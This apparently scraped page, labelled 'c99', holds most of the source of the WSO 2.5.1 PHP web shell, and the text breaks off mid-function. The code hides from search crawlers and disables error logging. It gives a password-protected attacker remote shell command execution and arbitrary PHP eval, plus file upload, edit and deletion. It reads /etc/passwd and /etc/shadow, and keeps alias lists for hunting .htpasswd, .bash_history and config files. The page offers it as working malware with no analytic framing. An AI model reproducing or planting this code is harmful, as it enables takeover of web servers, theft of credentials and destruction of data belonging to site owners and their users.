Creative Commons



Valid CSS!
Valid XHTML 1.1!






Type : brex
Description :
brex
 
Type : c99
Description :
<?php

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find suid" => "find / -type f -perm -04000 -ls",
"find suid in current dir" => "find . -type f -perm -04000 -ls",
"find sgid" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php" => "find / -type f -name config.inc.php",
"find config*" => "find / -type f -name "config*"",
"find config* in current dir" => "find . -type f -name "config*"",
"find writable folders and files" => "find / -perm -2 -ls",
"find writable folders and files in current dir" => "find . -perm -2 -ls",
"find service.pwd" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find .htpasswd" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find .bash_history" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find .fetchmailrc" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf" => "locate httpd.conf",
"locate vhosts.conf" => "locate vhosts.conf",
"locate proftpd.conf" => "locate proftpd.conf",
"locate psybnc.conf" => "locate psybnc.conf",
"locate my.conf" => "locate my.conf",
"locate admin.php" =>"locate admin.php",
"locate cfg.php" => "locate cfg.php",
"locate conf.php" => "locate conf.php",
"locate config.dat" => "locate config.dat",
"locate config.php" => "locate config.php",
"locate config.inc" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php" => "locate config.default.php",
"locate config*" => "locate config",
"locate .conf"=>"locate '.conf'",
"locate .pwd" => "locate '.pwd'",
"locate .sql" => "locate '.sql'",
"locate .htpasswd" => "locate '.htpasswd'",
"locate .bash_history" => "locate '.bash_history'",
"locate .mysql_history" => "locate '.mysql_history'",
"locate .fetchmailrc" => "locate '.fetchmailrc'",
"locate backup" => "locate backup",
"locate dump" => "locate dump",
"locate priv" => "locate priv"
);

function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}

$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g("FilesMan","";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "")'>".$path[$i]."/</a>";
}

$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(''.$v.'',null,'','','')">'.$k.'</a> ]</th>';

$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g('FilesMan',''.$drive.':/')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g('FilesMan','' . $GLOBALS['home_cwd'] . '','','','')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,"");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("n",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}

function wsoViewSize($s) {
if (is_int($s))
$s = sprintf("%u", $s);

if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}

function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}

function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}

function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}

function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "n") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}

wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';

if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g("FilesTools", "/etc/", "passwd")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g("FilesTools", "/etc/", "shadow")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit='g(null,null,"5",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
$temp .= join(':',$uid)."n";
}
echo '<br/>';
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}

function actionPhp() {
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "nrt\'") . "';n";
echo strlen($temp), "n", $temp;
exit;
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
'!(body|a:w+|body, td, th, h1, h2) {.*}!msiU',
'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array (
'',
'.e, .v, .h, .h th {$1}',
''
), $tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a('Php',null,this.code.value);}else{g('Php',null,this.code.value,'');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}

function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);

if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create!";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can't open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_".($sort[1]?0:1)."")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_".($sort[1]?0:1)."")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_".($sort[1]?0:1)."")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_".($sort[1]?0:1)."")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g('FilesTools',null,''.urlencode($f['name']).'', 'view')">'.htmlspecialchars($f['name']):'g('FilesMan',''.$f['path'].'');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g('FilesTools',null,''.urlencode($f['name']).'','chmod')">'.$f['perms']
.'</td><td><a href="#" onclick="g('FilesTools',null,''.urlencode($f['name']).'', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,''.urlencode($f['name']).'', 'touch')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g('FilesTools',null,''.urlencode($f['name']).'', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,''.urlencode($f['name']).'', 'download')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select>&nbsp;";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}

function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
